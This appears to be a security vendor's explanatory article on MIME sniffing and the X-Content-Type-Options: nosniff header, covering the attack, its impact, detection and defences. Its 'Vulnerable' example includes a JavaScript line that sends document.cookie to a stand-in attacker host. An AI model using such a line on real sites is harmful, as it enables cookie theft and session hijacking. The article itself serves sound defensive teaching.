MIME sniffing not disabled
CWE-430CWE-79OWASP A05:2021Updated September 4, 20264 min read
If the X-Content-Type-Options header is missing, the browser may decide for itself what kind of file it has received and ignore the declared content type. A file offered as an image but containing script code can then still be executed as JavaScript on your domain.
A server states what each file is: an image, a stylesheet, a piece of JavaScript. Browsers long declined to take that at face value, and that doubt has become a security problem. This article explains how an uploaded image can behave as a script and why one short header closes it.
What is MIME sniffing?
MIME sniffing is the behaviour where a browser inspects the content of a file itself to determine its type, instead of going by the Content-Type the server sends. If the browser sees something resembling JavaScript, it may decide to treat it as JavaScript, even when the server explicitly declared image/png.
That behaviour dates from a period when many web servers were poorly configured and pages would otherwise have been unusable. The browser was accommodating, rather like a delivery driver who leaves a parcel at whichever house number seems most likely. Practical, until someone abuses it deliberately.
The header X-Content-Type-Options: nosniff puts an end to that accommodation. The browser then treats the declared type as binding and refuses the file when that type does not fit the context it is used in.
How does an attacker abuse MIME sniffing?
The classic scenario combines a file upload with a missing header. The attacker needs no flaw in your code; they use a feature you offered yourself.
Vulnerable:
HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 84
The server labels this file neatly as an image but sends no nosniff. The content, however, is not an image:
/* Uploaded as profilephoto.png */
fetch('https://malicious.example/x?c=' + document.cookie);
If that file is then embedded somewhere, for instance because the attacker sends a victim a link to a page that loads it as a script, the browser inspects the content, concludes it is JavaScript and runs it. And because the file is served from your domain, that code runs within your origin, with access to cookies and the DOM. The upload was permitted, the content type was correct, and the result is nonetheless a full cross-site scripting attack.
Safe:
HTTP/1.1 200 OK
Content-Type: image/png
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="profilephoto.png"
Cross-Origin-Resource-Policy: same-site
With nosniff the browser refuses to interpret the file as script: the type is image/png and that is what it stays. The attack fails. Content-Disposition: attachment goes a step further by offering the file as a download instead of rendering it in the page, which is the safest default for user-supplied files.
nosniff without first checking that your server sends correct content types. The header makes existing mistakes visible: a stylesheet served as text/plain or a script file with the wrong type will be refused once it is on, and then the header looks like the problem while it is only bringing it to light.What is the impact of MIME sniffing?
On its own this is a hardening finding with a low severity, because more than this missing header is needed to cause damage. The attacker needs a way to get content onto your domain: a file upload, an endpoint that echoes user input, or an export function.
If that possibility does exist, the finding shifts towards medium, because the outcome amounts to script execution within your origin. That means access to session cookies not marked HttpOnly, to the contents of the page, and to everything the logged-in user may do. A second, less well-known variant affects JSON endpoints: without nosniff, a response intended as JSON can under certain circumstances be loaded as a script, which exposes data from that response to a foreign page.
What characterises this finding above all is the ratio between cost and benefit. Enabling the header takes one line of configuration and has no side effects at all on a correctly configured server.
How do you detect MIME sniffing?
The check is easy to automate: fetch a number of responses and see whether X-Content-Type-Options: nosniff is present. More interesting is where it is missing. In practice it is often set on the HTML pages but not on the route serving uploaded files, which is exactly where it is needed most.
A tester therefore combines that check with the upload functionality. Can a file be uploaded whose content is readable as script? Is that file served back from the same domain as the application? Does it get a Content-Disposition? And is the content type derived from the filename supplied by the user, which is unreliable in itself? During a penetration test AssistSec tests that chain as a whole, because the risk does not arise from the missing header alone but from the combination with what can end up on your domain.
How do you prevent MIME sniffing?
- Send
X-Content-Type-Options: nosniffon every HTTP response, including static files and API routes. - Make sure your server sends a correct
Content-Typefor every file type before enforcing the header. - Serve user-supplied files with
Content-Disposition: attachment, so they are downloaded rather than executed. - Host uploaded files preferably on a separate domain, so script execution never falls within the application’s origin.
- Derive the content type from a controlled list on the server, not from the filename the user supplied.
- Combine the header with a strict Content Security Policy as a second layer.
- Check that your CDN and reverse proxy pass the header through and do not silently strip it.
Sources
Frequently asked questions
Does nosniff have drawbacks?
In practice hardly any, provided your server sends correct content types. The risk when introducing it is precisely that you discover it does not: a stylesheet served as text/plain will be refused once nosniff is on. That is not a new problem but an existing mistake becoming visible.
Is this header needed if I already have a CSP?
They complement each other. A strict CSP can prevent a file executed as script from doing anything useful, but nosniff prevents the wrong interpretation happening at all. Both are cheap measures and there is no reason to choose.
Where does MIME sniffing come from?
From a time when many web servers sent wrong or missing content types. Browsers therefore started inspecting the content themselves so pages would still display correctly. That leniency never fully disappeared and is now a security risk rather than a solution.
Does this protect against all file upload problems?
No, it is one layer. Nosniff prevents a file being interpreted as another type, but not a dangerous file being stored or the server handling it wrongly. Serve uploaded files preferably from a separate domain and always with Content-Disposition attachment.
Related articles
- VulnerabilitiesCWE-693A05:2021Missing Content Security PolicyWithout a Content Security Policy the browser may load scripts from any source. Learn what a CSP does, how to build one, and which mistakes make it useless.
- VulnerabilitiesCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) lets attackers inject malicious scripts into web pages that run in visitors' browsers. Learn how XSS works and how to prevent it.
- VulnerabilitiesCWE-434A04:2021Unrestricted file uploadAn upload function without restrictions can lead to code execution on your server. Learn which checks are needed and which are not enough.
- VulnerabilitiesCWE-16A05:2021Security misconfigurationSecurity misconfiguration explained: how default passwords, debug modes and open cloud buckets let attackers in, and how to harden your systems.